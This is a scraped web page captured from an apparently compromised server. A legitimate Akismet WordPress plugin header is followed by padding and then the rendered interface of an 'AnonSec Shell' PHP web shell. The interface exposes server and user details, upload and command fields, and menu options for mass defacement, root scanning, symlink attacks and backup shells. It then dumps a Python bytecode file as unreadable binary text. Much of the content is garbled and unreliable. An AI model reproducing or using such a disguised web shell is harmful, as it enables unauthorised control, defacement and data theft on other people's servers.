#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/site-packages/rhsm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib64/python2.7/site-packages/rhsm/m2cryptohttp.pyc
�
L��ec@`s�ddlmZmZmZddlZddlmZmZddl	m
Z
ddlZddlZej
jjZej
jjZej
jjZej
jjZej
jjZej
jjZej
jjZej
jjZej
jjZej
jjZej
jjZej
jjZej
jjZej
jjZej
jjZej
jjZej
jjZej
jj Z ej
jj!Z!ej
jj"Z"ej
jj#Z#ej
jj$Z$ej
jj%Z%ej
jj&Z&ej
jj'Z'ej
jj(Z(ej
jj)Z)ej
jj*Z*ej
jj+Z+ej
jj,Z,ej
jj-Z-ej
jj.Z.ej
jj/Z/ej
jj0Z0ej
jj1Z1ej
jj2Z2ej
jj3Z3ej
jj4Z4ej
jj5Z5ej
jj6Z6ej
jj7Z7ej
jj8Z8ej
jj9Z9ej
jj:Z:ej
jj;Z;ej
jj<Z<ej
jj=Z=ej
jj>Z>ej
jj?Z?ej
jj@Z@ej
jjAZAej
jjBZBej
jjCZCej
jjDZDej
jjEZEej
jjFZFej
jjGZGej
jjHZHej
jjIZIej
jjJZJej
jjKZKej
jjLZLej
jjMZMej
jjNZNej
jjOZOej
jjPZPej
jjQZQdejRfd��YZSdejTfd��YZUd	eVfd
��YZTdS(i(tprint_functiontdivisiontabsolute_importN(thttpslibtSSL(ttimeoutt_RhsmProxyHTTPSConnectioncB`s/eZd�Zd�Zdd�Zd�ZRS(cO`sMt|jdd��|_|jdd�|_tjj||||�dS(NRg�t
proxy_headers(tfloattpoptrhsm_timeouttNoneRRtProxyHTTPSConnectiont__init__(tselfthosttargstkwargs((s7/usr/lib64/python2.7/site-packages/rhsm/m2cryptohttp.pyR
iscC`s�tj|j|j�|_y|jj|j�WnCtk
rw|jjt|j��|jj	t|j��nX|jj
�|jj�|jj�dS(N(
Rt
Connectiontssl_ctxtsockt
settimeoutR
tAttributeErrortset_socket_write_timeoutRtset_socket_read_timeoutt	setup_ssltset_connect_statetconnect_ssl(R((s7/usr/lib64/python2.7/site-packages/rhsm/m2cryptohttp.pyt
_start_sslns


cC`s0|rtjj||�ntjj|�dS(N(RtHTTPSConnectiont
endheaders(Rtbody((s7/usr/lib64/python2.7/site-packages/rhsm/m2cryptohttp.pyR|scC`s�yt|j�}Wntk
r,d}nXd|j|f}|jr�x:t|jj��D] \}}|d||f7}q_Wn|d7}|S(s6 Return an HTTP CONNECT request to send to the proxy. sCONNECT %s:%d HTTP/1.1
s%s: %s
s
N(tintt
_real_portt	ExceptionRt
_real_hostRtlisttitems(Rtporttmsgtkeytvalue((s7/usr/lib64/python2.7/site-packages/rhsm/m2cryptohttp.pyt_get_connect_msg�s

	"
N(t__name__t
__module__R
RRRR*(((s7/usr/lib64/python2.7/site-packages/rhsm/m2cryptohttp.pyRhs		t_RhsmHTTPSConnectioncB`seZd�Zd�ZRS(cO`s8t|jdd��|_tjj||||�dS(NRg�(RR	R
RRR
(RRRR((s7/usr/lib64/python2.7/site-packages/rhsm/m2cryptohttp.pyR
�scC`s�d}xtj|j|jdtj�D]\\}}}}}d}tjtj	j
�\}}}}i}	|r�d|kr�||	d<nz�y�tj	|j|	�}y|j|j
�Wn=tk
r�|jt|j
��|jt|j
��nX|jdk	r|j|j�n|j|j|jf�||_d}dSWntjk
re}
|
}nXWd|dk	r�|j�nXq(W|dkr�td��n|�dS(s-Copied verbatim except for adding the timeoutitfamilyNs"Empty list returned by getaddrinfo(RtsockettgetaddrinfoRR&tSOCK_STREAMtinspectt
getargspecRRR
RRR
RRRRtsessiontset_sessiontconnectRterrortclosetAssertionError(RR7R.t_Rtm2_argst_vargst_kwordst	_defaultstconnection_kwargste((s7/usr/lib64/python2.7/site-packages/rhsm/m2cryptohttp.pyR6�s87!

	(R+R,R
R6(((s7/usr/lib64/python2.7/site-packages/rhsm/m2cryptohttp.pyR-�s	RcB`sheZd�Zd�Zd�Zd�Zd
d
d�Zd�Zd�Z	d�Z
d�Zd	�ZRS(cO`s}||_|rt|�nd|_|jdd�}|rL|j|d<nt||j||�|_||_||_	dS(Ntcontexttssl_context(
RR Rtssl_portR	t	m2contextR-t_connectionRR(RRRCRRRA((s7/usr/lib64/python2.7/site-packages/rhsm/m2cryptohttp.pyR
�s		cO`srt|jt�r.d|j|j|f}ny|jj||||�SWn tk
rmtjd��nXdS(Nshttps://%s:%s%sssocket error during request(	t
isinstanceRERRRCtrequestt
IndexErrorR/R7(RtmethodthandlerRR((s7/usr/lib64/python2.7/site-packages/rhsm/m2cryptohttp.pyRG�s
cO`s|jj||�S(N(REtgetresponse(RRR((s7/usr/lib64/python2.7/site-packages/rhsm/m2cryptohttp.pyRK�scO`s|jj||�S(N(REtset_debuglevel(RRR((s7/usr/lib64/python2.7/site-packages/rhsm/m2cryptohttp.pyRL�scC`s^|j}|j}||_|r-t|�nd|_t||d||j|j�|_dS(NR(RRCR RRRRRE(RRR&theaderst
proxy_hostt
proxy_port((s7/usr/lib64/python2.7/site-packages/rhsm/m2cryptohttp.pyt
set_tunnel�s			cO`s|jj||�S(N(RER8(RRR((s7/usr/lib64/python2.7/site-packages/rhsm/m2cryptohttp.pyR8�scO`s|jj||�S(N(REt
putrequest(RRR((s7/usr/lib64/python2.7/site-packages/rhsm/m2cryptohttp.pyRQ�scO`s|jj||�S(N(REt	putheader(RRR((s7/usr/lib64/python2.7/site-packages/rhsm/m2cryptohttp.pyRR�scO`s|jj||�S(N(RER(RRR((s7/usr/lib64/python2.7/site-packages/rhsm/m2cryptohttp.pyR�scO`s|jj||�S(N(REtsend(RRR((s7/usr/lib64/python2.7/site-packages/rhsm/m2cryptohttp.pyRS�sN(
R+R,R
RGRKRLRRPR8RQRRRRS(((s7/usr/lib64/python2.7/site-packages/rhsm/m2cryptohttp.pyR�s	
								(Wt
__future__RRRtsix.moves.http_clienttsixtM2CryptoRRtM2Crypto.SSLRR/R2tmovesthttp_clientt	HTTP_PORTt
HTTPS_PORTtCONTINUEtSWITCHING_PROTOCOLSt
PROCESSINGtOKtCREATEDtACCEPTEDtNON_AUTHORITATIVE_INFORMATIONt
NO_CONTENTt
RESET_CONTENTtPARTIAL_CONTENTtMULTI_STATUStIM_USEDtMULTIPLE_CHOICEStMOVED_PERMANENTLYtFOUNDt	SEE_OTHERtNOT_MODIFIEDt	USE_PROXYtTEMPORARY_REDIRECTtBAD_REQUESTtUNAUTHORIZEDtPAYMENT_REQUIREDt	FORBIDDENt	NOT_FOUNDtMETHOD_NOT_ALLOWEDtNOT_ACCEPTABLEtPROXY_AUTHENTICATION_REQUIREDtREQUEST_TIMEOUTtCONFLICTtGONEtLENGTH_REQUIREDtPRECONDITION_FAILEDtREQUEST_ENTITY_TOO_LARGEtREQUEST_URI_TOO_LONGtUNSUPPORTED_MEDIA_TYPEtREQUESTED_RANGE_NOT_SATISFIABLEtEXPECTATION_FAILEDtUNPROCESSABLE_ENTITYtLOCKEDtFAILED_DEPENDENCYtUPGRADE_REQUIREDtINTERNAL_SERVER_ERRORtNOT_IMPLEMENTEDtBAD_GATEWAYtSERVICE_UNAVAILABLEtGATEWAY_TIMEOUTtHTTP_VERSION_NOT_SUPPORTEDtINSUFFICIENT_STORAGEtNOT_EXTENDEDt	responsestHTTPConnectiontHTTPResponsetHTTPMessaget
HTTPExceptiontNotConnectedt
InvalidURLtUnknownProtocoltUnknownTransferEncodingtUnimplementedFileModetIncompleteReadtImproperConnectionStatetCannotSendRequesttCannotSendHeadertResponseNotReadyt
BadStatusLineRRRR-tobject(((s7/usr/lib64/python2.7/site-packages/rhsm/m2cryptohttp.pyt<module>s�(/

Anon7 - 2022
AnonSec Team